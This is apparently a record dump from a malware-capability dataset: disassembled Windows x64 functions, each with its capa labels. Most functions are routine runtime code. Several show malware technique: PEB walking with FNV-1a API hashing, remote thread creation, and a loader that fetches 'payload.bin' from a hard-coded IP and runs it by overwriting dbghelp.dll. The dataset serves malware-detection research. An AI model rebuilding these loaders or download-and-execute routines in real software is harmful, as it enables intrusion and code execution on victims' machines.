joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001081
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov eax, 1
cmp dword [0x140004038], 0
jne 0x140001241
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
test rdx, rdx
je 0x140001113
xor edi, edi
mov ecx, 0xdfdfdfdf
mov rbx, rdx
movsxd rdx, dword [rdx + 0x3c]
mov edx, dword [rdx + rbx + 0x88]
test rdx, rdx
je 0x140001102
mov ebp, dword [rdx + rbx + 0xc]
add rdx, rbx
mov edi, dword [rbp + rbx]
and edi, ecx
cmp edi, 0x4c44544e
jne 0x1400010ff
mov ebp, dword [rbx + rbp + 4]
and ebp, ecx
mov rdi, rdx
cmp ebp, 0x4c440e4c
jne 0x140001102
jmp 0x14000111a
mov rdi, rdx
mov rax, qword [rax]
mov rdx, qword [rax + 0x30]
test rdx, rdx
jne 0x1400010c4
test rdi, rdi
jne 0x14000111d
xor eax, eax
jmp 0x140001241
mov rdi, rdx
mov esi, dword [rdi + 0x18]
mov eax, dword [rdi + 0x1c]
add rax, rbx
mov qword [rsp + 0x20], rax
mov r14d, dword [rdi + 0x20]
add r14, rbx
mov r12d, dword [rdi + 0x24]
add r12, rbx
xor r15d, r15d
lea r13, [0x140004038]
dec esi
mov eax, dword [r14 + rsi*4]
movzx ecx, word [rax + rbx]
cmp ecx, 0x775a
jne 0x1400011ab
add rax, rbx
mov ecx, 0x1ab82d94
xor edx, edx
mov ebp, ecx
movzx edi, word [rdx + rax]
inc edx
rol ecx, 0x18
add ecx, edi
xor ecx, ebp
cmp byte [rax + rdx], 0
jne 0x14000115f
mov edi, r15d
shl rdi, 4
mov dword [rdi + r13 + 8], ecx
movzx eax, word [r12 + rsi*2]
mov rcx, qword [rsp + 0x20]
mov ecx, dword [rcx + rax*4]
mov dword [rdi + r13 + 0xc], ecx
add rcx, rbx
call fcn.140001000
mov qword [rdi + r13 + 0x10], rax
inc r15d
cmp r15d, 0x1f4
je 0x1400011c6
test rsi, rsi
jne 0x140001143
mov dword [0x140004038], r15d
mov r9d, r15d
dec r9d
mov eax, 1
jne 0x1400011e1
jmp 0x140001241
mov dword [0x140004038], 0x1f4
mov r15d, 0x1f4
mov r9d, 0x1f3
mov eax, 1
xor r10d, r10d
lea r8, [0x140004058]
mov r11d, r9d
mov r11d, r11d
inc r10d
cmp r15d, r10d
je 0x140001239
mov ecx, dword [0x140004044]
mov rbp, r11
mov rdx, r8
mov esi, dword [rdx - 4]
cmp ecx, esi
jbe 0x14000122e
mov edi, dword [rdx - 0x18]
mov r14, qword [rdx - 0x10]
mov ebx, dword [rdx - 8]
mov dword [rdx - 0x18], ebx
mov dword [rdx - 0x14], esi
mov rsi, qword [rdx]
mov qword [rdx - 0x10], rsi
mov dword [rdx - 8], edi
mov dword [rdx - 4], ecx
mov qword [rdx], r14
jmp 0x140001230
mov ecx, esi
add rdx, 0x10
dec rbp
jne 0x140001205
dec r11d
cmp r10d, r9d
jne 0x1400011ee
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140001304
Capabilities:
Enumerate processes

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x268
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov dword [rsp + 0x28], 0x238
xor esi, esi
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x140001380
mov rdi, rax
lea rdx, [rsp + 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
mov esi, 1
test eax, eax
je 0x140001377
mov ebp, 0x28
lea rbx, [rsp + 0x28]
dec ebp
je 0x140001375
mov rcx, rdi
mov rdx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001360
jmp 0x140001377
xor esi, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001700
mov eax, esi
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
ret

Function at 0x14000139e
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x78
call fcn.140001304
test eax, eax
jne 0x140001527
mov qword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r14, rax
mov qword [rsp + 0x60], 0x3a3
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov r9d, dword [rax + rcx + 0x88]
test r9, r9
je 0x1400013e0
mov edx, dword [rax + r9 + 0x18]
test rdx, rdx
je 0x1400013e0
mov edi, dword [rax + r9 + 0x20]
add rdi, rax
lea r10, [rax + 1]
mov ecx, dword [rdi + rdx*4 - 4]
dec rdx
mov bl, byte [rax + rcx]
test bl, bl
je 0x140001440
add rcx, r10
mov esi, 0x811c9dc5
movsx ebx, bl
xor ebx, esi
imul esi, ebx, 0x1000193
mov bl, byte [rcx]
inc rcx
test bl, bl
jne 0x140001424
cmp esi, 0x3285501
je 0x140001447
test rdx, rdx
jne 0x14000140e
jmp 0x1400013e0
mov ecx, dword [rax + r9 + 0x1c]
mov ebx, dword [rax + r9 + 0x24]
add rcx, rax
add rbx, rax
mov edx, edx
movzx edx, word [rbx + rdx*2]
mov ebx, dword [rcx + rdx*4]
add rbx, rax
xor edi, edi
mov edx, 0x3a3
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call rbx
lea rbx, [rsp + 0x70]
mov qword [rbx], rax
mov r8d, 0x3a2
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x6c]
mov dword [rax], edi
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x60]
mov rcx, r14
mov rdx, rbx
mov r9d, 0x40
call fcn.140001697
mov rax, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
lea rbx, [rsp + 0x58]
mov rcx, rbx
mov edx, 0x1fffff
xor r8d, r8d
mov r9, r14
call fcn.1400015fd
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000150f
call qword [sym.imp.KERNEL32.dll_GetThreadId]
lea rcx, str.Success__ThreadHandle_d_n
mov edx, eax
call fcn.140001533
mov rdi, qword [rsp + 0x58]
mov rcx, rdi
xor edx, edx
xor r8d, r8d
call fcn.14000164a
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x6d7d3430
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d7f45e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d7d35b8
mov rax, qword [0x6d7f45e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d7d347c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d7d3505
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d7d3460
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d7d35ed
mov rax, qword [0x6d7f45e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d7f45e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d7d35d0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d7d34fe
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d7d3560
add dword [0x6d7f45e4], 1
cmp edi, 8
jae 0x6d7d3533
test dil, 4
jne 0x6d7d35a4
test edi, edi
je 0x6d7d3528
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d7d35bf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d7d3528
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d7d354c
jmp 0x6d7d3528
add rsi, qword [0x6d7f45e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d7d34fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d7d3528
xor esi, esi
jmp 0x6d7d3487
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d7d3528
mov rax, qword [0x6d7f45e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d7d3d40
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d7f48c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d7f48a0]
test rbx, rbx
je 0x6d7d3d94
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d7d3d8b
test rsi, rsi
je 0x6d7d3d8b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d7d3d70
lea rcx, [0x6d7f48c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d7d3fd0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d7d3fe0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d7d3ff0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d7d4031
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d7d4028
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d7d4033
add rax, 0x28
cmp rax, r9
jne 0x6d7d4014
xor eax, eax
ret

Function at 0x6d7d40d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f11f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d7d413d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d413d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7d413d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7d4134
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7d413f
add rax, 0x28
cmp rax, r9
jne 0x6d7d4120
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d7d4240
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f11f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d7d4260
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d4258
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7d42bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7d42b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7d42c4
add rax, 0x28
cmp rax, r9
jne 0x6d7d42a0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d7d42e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d7f11f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d7d434e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d434e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d7d434e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d7d434e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d7d4345
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d7d4355
add rcx, 0x28
cmp rcx, rax
jne 0x6d7d4330
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d7d4368
jmp 0x6d7d434e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d7d4376
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d7d434e
test r9d, r9d
jg 0x6d7d4360
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d7d46b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001e50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x88
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx]
call fcn.140001720
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001e84
xor eax, eax
jmp 0x140001f6d
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.27.124.4.229
lea rcx, [rsp + 0x58]
call fcn.140001830
lea rdi, [rsp + 0x68]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x48]
lea rsi, [rsp + 0x68]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x28]
lea rsi, [rsp + 0x48]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x28], 0
je 0x140001f6b
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140001f4c
mov rcx, qword [rsp + 0x38]
add rcx, 0x1000
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x38]
add rdi, 0x1000
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x28]
call fcn.140004240
mov rax, qword [rsp + 0x38]
add rax, 0x1000
call rax
jmp 0x140001f6b
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140005907
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14002e048]
jne 0x14000423a
rol rcx, 0x10
test cx, 0xffff
jne 0x140004236
repz ret
ror rcx, 0x10
jmp 0x140005860
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14002f6e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14002f7d8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400058e5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14002f6e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140005907
mov rax, qword [rsp + 0x88]
mov qword [0x14002f7d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14002f778], rax
mov rax, qword [0x14002f7d8]
mov qword [0x14002f650], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14002f760], rax
mov dword [0x14002f640], 0xc0000409
mov dword [0x14002f644], 1
mov rax, qword [0x14002e048]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14002e050]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14002f6d8], eax
mov ecx, 1
call fcn.14000c480
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140024bc8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14002f6d8], 0
jne 0x14000598e
mov ecx, 1
call fcn.14000c480
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400021a4
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x1400021ca
mov r8, rdx
mov rdx, qword [rbx]
call fcn.1400028f0
jmp 0x140002231
cmp byte [0x14001b5f0], 0
jne 0x14000220e
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400021fe
lea rdx, [0x140012aa8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001b5e8], rax
jmp 0x140002205
mov rax, qword [0x14001b5e8]
mov byte [0x14001b5f0], 1
jmp 0x140002215
mov rax, qword [0x14001b5e8]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000222b
mov r8d, dword [rbx + 8]
xor r9d, r9d
call rax
jmp 0x140002231
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400028f0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x140002953
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002967
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002967
mov rcx, qword [rbx]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rdi
mov rcx, rsi
call rax
jmp 0x14000296c
cmp dword [rcx + 8], 0
je 0x140002967
mov rdx, r8
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x14000296c
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x140002b50
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
xor r9d, r9d
xor ecx, ecx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x50], rax
test rax, rax
je 0x140002bb2
lea rax, [rsp + 0x40]
mov r9, rbx
mov qword [rsp + 0x28], rax
lea r8, [0x140002588]
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140002baf
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x50], rdi
mov rax, rdi
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x140002d14
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp byte [0x14001b581], 0
mov esi, edx
mov rdi, rcx
je 0x140002d36
or eax, 0xffffffff
jmp 0x140002da1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov dword [rsp + 0x40], eax
mov ebx, eax
test eax, eax
jns 0x140002d63
cmp eax, 0x80010106
jne 0x140002d9f
lea rcx, str.Mscoree.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x140002d67
jmp 0x140002d9f
mov byte [rdi + 0x62], 1
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea r8, [rsp + 0x40]
mov rcx, rdi
mov rdx, rax
call fcn.140002658
cmp al, 1
jne 0x140002d8f
mov edx, esi
mov rcx, rdi
call fcn.140002ac0
mov ebx, eax
jmp 0x140002d93
mov ebx, dword [rsp + 0x40]
cmp byte [rdi + 0x62], 0
je 0x140002d9f
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400084a4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x140013b20]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r15, r9
mov r14, r8
mov rbx, rdx
xor edi, edi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x70], rdi
xor edx, edx
lea r8d, [rdi + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140008530
xor edx, edx
lea r8d, [rdi + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140008530
call fcn.140001768
mov ebx, eax
jmp 0x140008641
mov r8, r15
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x140008551
call fcn.140001768
jmp 0x140008630
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140008547
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, ebx
jae 0x14000858c
mov ebx, 0x8007000e
jmp 0x140008632
mov ecx, eax
test eax, eax
je 0x1400085c4
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x1400085ba
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x1400085c4
lea rcx, [rsp + 0x70]
call fcn.140004770
jmp 0x1400085ce
mov ecx, 0x80070216
call fcn.1400020a8
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x1400085e0
cmp qword [rsp + 0x70], rdi
je 0x140008582
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x140008547
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], di
mov r8d, dword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140008340
mov ebx, eax
test rsi, rsi
je 0x140008641
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x140008658
lea rcx, [rsp + 0x70]
call fcn.1400056f0
nop
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.14000bab0
add rsp, 0x490
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x14000b1f8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
mov rbp, rsp
sub rsp, 0x30
cmp byte [0x14001b780], 0
je 0x14000b21e
mov eax, dword [0x14001b784]
jmp 0x14000b322
and qword [rbp + 0x18], 0
lea rax, [rbp + 0x18]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwarePoliciesMicrosoftSecurity
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, 4
lea rsi, [0x14001b784]
test eax, eax
jne 0x14000b28a
mov rdx, qword [str.CLSIDInterfaceTest]
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov dword [rbp + 0x10], ebx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000b28a
cmp dword [rbp + 0x10], ebx
je 0x14000b2f9
mov rcx, qword [rbp + 0x18]
and qword [rbp + 0x18], 0
test rcx, rcx
je 0x14000b29e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x18]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftSecurity
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b301
mov rdx, qword [str.CLSIDInterfaceTest]
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov dword [rbp + 0x10], ebx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000b301
cmp dword [rbp + 0x10], ebx
jne 0x14000b301
mov ebx, dword [0x14001b784]
jmp 0x14000b30a
and dword [0x14001b784], 0
xor ebx, ebx
mov rcx, qword [rbp + 0x18]
mov byte [0x14001b780], 1
test rcx, rcx
je 0x14000b320
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
